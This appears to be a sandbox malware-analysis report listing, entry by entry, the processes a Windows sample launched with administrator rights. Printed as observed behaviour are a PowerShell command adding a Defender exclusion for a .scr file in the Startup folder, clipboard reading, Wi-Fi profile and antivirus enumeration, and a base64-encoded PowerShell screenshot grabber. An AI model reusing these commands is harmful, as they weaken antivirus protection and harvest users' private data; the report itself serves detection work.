Commandline:	REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
Imagebase:	0x7ff605d00000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	01:19:15
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	01:19:15
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	01:19:15
Start date:	05/01/2025
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
Imagebase:	0x7ff605d00000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	01:19:17
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	01:19:17
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	01:19:17
Start date:	05/01/2025
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic path win32_VideoController get name
Imagebase:	0x7ff7c2f70000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	01:19:20
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8044, Parent PID: 8024

General

Target ID:	35
Start time:	01:19:20
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	01:19:20
Start date:	05/01/2025
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic path win32_VideoController get name
Imagebase:	0x7ff7c2f70000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	01:19:21
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	01:19:21
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	01:19:21
Start date:	05/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	01:19:22
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7252, Parent PID: 7192

General

Target ID:	41
Start time:	01:19:22
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	01:19:22
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7368, Parent PID: 7364

General

Target ID:	43
Start time:	01:19:22
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	01:19:22
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	01:19:22
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	01:19:22
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7672, Parent PID: 7632

General

Target ID:	47
Start time:	01:19:22
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	01:19:22
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	01:19:22
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	01:19:22
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff6c6d10000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	01:19:22
Start date:	05/01/2025
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Imagebase:	0x7ff7c2f70000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	01:19:22
Start date:	05/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-Clipboard
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	01:19:22
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff6c6d10000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	01:19:22
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff6c6d10000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	01:19:24
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	01:19:24
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	01:19:24
Start date:	05/01/2025
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6bd590000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	01:19:24
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	01:19:24
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "systeminfo"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	01:19:24
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	01:19:24
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	01:19:24
Start date:	05/01/2025
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff7182c0000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	01:19:24
Start date:	05/01/2025
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profile
Imagebase:	0x7ff67c6c0000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	01:19:25
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 8028, Parent PID: 3800

General

Target ID:	66
Start time:	01:19:25
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
Imagebase:	0x7ff7a7b90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	01:19:25
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	01:19:25
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	01:19:25
Start date:	05/01/2025
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6bd590000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	01:19:25
Start date:	05/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQ